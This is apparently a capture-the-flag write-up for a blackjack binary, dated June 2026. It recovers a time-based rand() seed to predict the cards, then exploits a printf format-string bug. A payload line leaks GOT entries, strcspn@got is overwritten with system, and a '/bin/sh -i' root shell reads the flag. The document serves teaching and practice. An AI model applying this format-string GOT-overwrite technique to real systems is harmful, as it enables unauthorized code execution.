Challenge Description:
I saw was the blackjack rng
cards come from (rand() % 13) + 1 with srand(time(NULL)) so if we recover the seed we recover the whole deck.
starting hand was dealer shows 4 [?] your hand 8 j — those are enough to brute force nearby timestamps which i brute forced them
terminal
sun jun 7 11:10:08 utc 2026
now 1780830608
1780830602 [8 4 11 6]
seed matched perfectly
seed matched the visible cards and allowed me to predict the hidden dealer card and all future cards. after winning a hand we reach printf(name) — used it to read got entries
payload
payload=(b'%10$s'+marker).ljust(16,b'A')+p64(PUTS_GOT)+b'
'
PUTS_GOT = 0x404018
STRCSPN_GOT = 0x404038
overwrote strcspn@got -> system with fmt writes. won another hand sent /bin/sh -i. now instead of strcspn(name," ") the binary does system("/bin/sh -i").
terminal
/bin/sh: 0: can't access tty job control turned off
# pwned
uid=0(root) gid=0(root) groups=0(root)
/app
total 2356
-rwxr-xr-x 1 ctfuser ctfuser 25488 jun 5 23:48 blackjack
-rw-rw-r-- 1 ctfuser ctfuser 33 jun 1 14:09 flag.txt
-rwxrwxr-x 1 root root 2125328 jun 1 14:09 libc.so.6
from the shell i read flag.txt and got the flag
Flag
dalctf{w3r3_y0u_c0unt1ng_c4rd5?}